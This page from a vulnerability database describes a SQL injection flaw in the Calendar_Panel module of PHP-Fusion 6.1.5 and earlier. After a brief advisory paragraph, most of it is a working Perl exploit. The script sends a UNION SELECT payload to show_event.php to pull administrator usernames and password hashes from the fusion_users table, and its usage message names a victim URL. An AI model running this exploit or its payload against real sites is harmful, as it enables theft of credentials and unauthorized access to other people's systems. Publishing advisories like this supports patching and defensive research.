Lucene search
K

PHP-Fusion <= 6.1.5 Calendar_Panel Module Show_Event.PHP SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 31 Views

PHP-Fusion <= 6.1.5 Calendar_Panel Module SQL Injection Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/23225/info

PHP-Fusion is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. This issue may help the attacker gain unauthorized access.

#!/usr/bin/perl -w

# PHP-Fusion &#39;Calendar_Panel&#39; Module show_event.PHP (m_month) SQL Injection
Exploit And PoC

# Type :

# SQL Injection

# Release Date :

# {2007-03-31}

# Product :

# http://php-fusion.co.uk/

# Bug :

# http://localhost/script/modules/articles/print.php?id=x AND 1=1 or 1=0

# PoC :

#
http://localhost/script/infusions/calendar_panel/show_event.php?m_month=-1/**/UNI
ON/**/SELECT/**/0,1,user_password,user_name,4,5,6,7,8,9,10,11/**/FROM/**/fusion_u
sers/*


use LWP::Simple;

if(!$ARGV[0] or !($ARGV[0]=~m/http/))

{
    print &#34;\n-----------------------------------\n&#34;;
    print &#34;PHP-Fusion &#39;Calendar_Panel&#39; Module (m_month) SQL Injection Exploit\n&#34;;
    print &#34;-----------------------------------\n&#34;;
    print &#34;\nUniquE-Key{UniquE-Cracker}\n&#34;;
    print &#34;UniquE[at]UniquE-Key.ORG\n&#34;;
    print &#34;http://UniquE-Key.ORG\n&#34;;
    print &#34;\n-----------------------------------\n&#34;;
    print &#34;\nUsage: $0 &#60;server/path&#62;\n&#34;;
    print &#34;Examp: $0 http://www.victim.com/path\n&#34;;
    print &#34;\n-----------------------------------\n&#34;;
    exit ();
}

$address=q[/infusions/calendar_panel/show_event.php?m_month=-1/**/UNION/**/SELECT
/**/0,1,user_password,user_name,4,5,6,7,8,9,10,11/**/FROM/**/fusion_users/*];
$xmie=get($ARGV[0].$address) || die &#34;\n# Web page not found : $!&#34;;
print &#34;\n# Connect to : $ARGV[0]\n&#34;;
$xmie=~m/&#60;td width=&#39;98%&#39; colspan=&#39;4&#39; class=&#39;textbox&#39;&#62;(.*?)&#60;\/td&#62;/ && print &#34;\n#
Admin name : $1\n&#34;;
print &#34;\n# Exploit Failed\n&#34; if(!$1);
$xmie=~m/&#60;b&#62;(.*?)&#60;\/b&#62;&#60;\/font&#62;&#60;\/td&#62;/ && print &#34;\n# Password : $1\n&#34;;


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation